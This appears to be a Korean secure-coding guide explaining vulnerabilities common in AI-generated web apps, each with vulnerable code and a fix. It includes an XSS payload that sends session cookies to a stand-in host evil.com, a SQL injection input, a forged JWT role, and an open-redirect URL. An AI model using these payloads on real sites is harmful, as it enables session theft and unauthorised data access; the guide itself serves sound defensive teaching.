SQL 인젝션, XSS, Supabase RLS 미설정 등 바이브 코딩에서 자주 나오는 취약점을
원인·예시·해결책과 함께 쉽게 설명합니다.
SQL Injection
사용자 입력이 SQL 쿼리에 직접 삽입되어 DB를 마음대로 조작하는 공격
AI가 생성한 코드에서 `query("SELECT * FROM users WHERE id = " + userId)` 같은 패턴이 자주 발견됩니다. 공격자가 userId에 `1 OR 1=1`을 입력하면 모든 사용자 데이터가 반환됩니다.
❌ 취약한 코드
`SELECT * FROM users WHERE id = ${userId}`✅ 안전한 방법
Parameterized Query: `SELECT * FROM users WHERE id = $1` (파라미터 분리)Cross-Site Scripting
악성 스크립트를 피해자 브라우저에서 실행시켜 세션을 탈취하는 공격
React에서 `dangerouslySetInnerHTML={{ __html: userInput }}`을 사용하거나, `innerHTML = userInput`에 사용자 입력을 직접 넣으면 발생합니다. 공격자는 `<script>document.location='https://evil.com/?c='+document.cookie</script>`로 세션 쿠키를 탈취합니다.
❌ 취약한 코드
element.innerHTML = userComment✅ 안전한 방법
DOMPurify.sanitize(userComment) 사용 후 삽입, 또는 textContent 사용Cross-Site Request Forgery
인증된 사용자 권한으로 의도치 않은 요청을 실행시키는 공격
사용자가 악성 사이트를 방문하면, 그 사이트가 사용자의 브라우저로 쇼핑몰 결제 API를 몰래 호출합니다. 쿠키가 자동으로 전송되기 때문에 서버는 정상 요청으로 인식합니다.
❌ 취약한 코드
쿠키 인증만 사용, SameSite 속성 없음✅ 안전한 방법
SameSite=Strict 쿠키 속성 + CSRF 토큰 검증Row Level Security Misconfiguration
바이브 코딩 서비스에서 가장 흔한 취약점. DB 전체가 외부에 노출됨
Supabase의 기본값은 RLS 비활성화입니다. AI가 생성한 코드로 Supabase 테이블을 만들고 그대로 배포하면, anon API 키만 있으면 누구나 전체 데이터를 읽고 쓸 수 있습니다. 2025년 바이브 코딩 서비스에서 가장 많이 발견되는 취약점입니다.
❌ 취약한 코드
Supabase 테이블 생성 후 RLS 활성화 안 함✅ 안전한 방법
Supabase Dashboard → Authentication → Policies에서 모든 테이블 RLS 활성화API Key / Environment Variable Exposure
.env 파일이 GitHub에 올라가거나 프론트엔드 JS에 포함되어 키가 유출됨
.env 파일을 커밋하거나, Next.js에서 NEXT_PUBLIC_ 접두사로 서버 API 키를 노출하는 경우입니다. GitHub에 올라간 키는 자동화 봇이 수초 내에 수집합니다. 2023년 삼성 ChatGPT 코드 유출 사건도 유사한 사례입니다.
❌ 취약한 코드
NEXT_PUBLIC_DATABASE_PASSWORD=secret123✅ 안전한 방법
DATABASE_PASSWORD=secret123 (서버 전용) + .gitignore에 .env 추가JWT Verification Bypass
JWT 서명 검증 없이 페이로드만 파싱해 위조 토큰이 통과되는 취약점
AI 코드에서 jwt.decode() 사용이 잦습니다. decode()는 서명을 검증하지 않고 Base64만 디코딩합니다. 공격자가 `{"role":"admin"}`으로 페이로드를 변조한 토큰을 만들어도 서버가 그대로 신뢰합니다.
❌ 취약한 코드
const user = jwt.decode(token); // 서명 검증 없음✅ 안전한 방법
const user = jwt.verify(token, process.env.JWT_SECRET); // 서명 검증Brute Force Attack
로그인 API에 Rate Limiting이 없어 수천 번 비밀번호를 자동으로 시도하는 공격
AI가 만든 로그인 API는 시도 횟수 제한이 없는 경우가 많습니다. 공격자는 자동화 도구로 1초에 수천 번 비밀번호를 시도할 수 있습니다. 2026년 11월부터 개인정보 안전성 확보조치 제5조⑥에 의해 로그인 실패 횟수 제한이 의무화됩니다.
❌ 취약한 코드
로그인 API에 횟수 제한 없음✅ 안전한 방법
express-rate-limit, upstash/ratelimit 등으로 IP당 5회/분 제한CORS Misconfiguration
origin: "*" 와일드카드로 모든 도메인에서 API 호출을 허용하는 설정 오류
AI가 빠르게 CORS를 설정할 때 와일드카드를 사용하는 경우가 있습니다. 악성 사이트에서 사용자의 쿠키 세션으로 API를 호출해 데이터를 탈취하거나 조작할 수 있습니다.
❌ 취약한 코드
app.use(cors({ origin: '*' }))✅ 안전한 방법
app.use(cors({ origin: ['https://mysite.com', 'https://www.mysite.com'] }))Missing Authentication
AI가 생성한 API Route에 인증 미들웨어가 빠져 누구나 접근 가능한 상태
Next.js App Router에서 AI가 /api/admin/users, /api/payment 같은 민감한 API를 만들 때 인증 검증 코드를 누락하는 경우가 많습니다. 누구나 URL을 알면 해당 기능을 실행할 수 있습니다.
❌ 취약한 코드
// app/api/admin/users/route.ts
export async function GET() { return db.users.findAll(); }✅ 안전한 방법
요청 헤더의 토큰을 jwt.verify()로 검증 후 처리Malicious File Upload
확장자 검증 없이 서버에 올라간 파일이 악성 코드로 실행되는 취약점
바이브 코딩으로 만든 파일 업로드 기능은 확장자 검증이 빠지기 쉽습니다. shell.php를 shell.jpg로 이름 바꿔 업로드하면 서버에서 실행될 수 있습니다.
❌ 취약한 코드
파일 업로드 후 확장자 검증 없이 저장✅ 안전한 방법
허용 확장자 화이트리스트 + 파일 매직 바이트 검증 + 저장 시 파일명 무작위화Code Injection via eval()
사용자 입력을 eval()로 실행해 임의 코드가 서버/브라우저에서 실행되는 취약점
AI가 간편함을 위해 eval(userInput)을 사용하는 경우가 있습니다. 공격자가 `process.exit(1)`이나 파일 삭제 명령을 입력하면 그대로 실행됩니다. eval()은 거의 모든 경우에 사용하지 않는 것이 원칙입니다.
❌ 취약한 코드
const result = eval(userFormula)✅ 안전한 방법
math.js 같은 안전한 수식 파서 라이브러리 사용Open Redirect
검증 없이 외부 URL로 리다이렉트해 피싱 공격에 악용되는 취약점
`/redirect?url=https://evil.com` 같은 URL을 아무 검증 없이 처리하면, 공격자가 신뢰할 수 있는 도메인을 통해 피싱 사이트로 사용자를 유도할 수 있습니다.
❌ 취약한 코드
redirect(req.query.url) // 검증 없음✅ 안전한 방법
허용 도메인 화이트리스트 검증 후 리다이렉트Error Message Information Disclosure
서버 에러를 그대로 클라이언트에 전달해 DB 구조·스택 트레이스가 노출됨
AI가 빠른 구현을 위해 catch(e) { res.json({ error: e.message }) } 패턴을 자주 사용합니다. 이 경우 DB 테이블명, 파일 경로, 프레임워크 버전 등 공격자에게 유용한 정보가 노출됩니다.
❌ 취약한 코드
catch(e) { res.status(500).json({ error: e.stack }) }✅ 안전한 방법
catch(e) { console.error(e); res.status(500).json({ error: '서비스 오류가 발생했습니다.' }) }Prototype Pollution
__proto__ 조작으로 Node.js 전체 객체 동작을 변조할 수 있는 취약점
사용자 입력이 `obj[key] = value` 형태로 처리될 때, key에 `__proto__`를 넣으면 JavaScript 전역 프로토타입이 오염됩니다. 결과적으로 인증 우회나 서비스 장애가 발생할 수 있습니다.
❌ 취약한 코드
function merge(obj, src) { for (let k in src) obj[k] = src[k]; }✅ 안전한 방법
Object.create(null) 사용 또는 zod/joi로 입력값 스키마 검증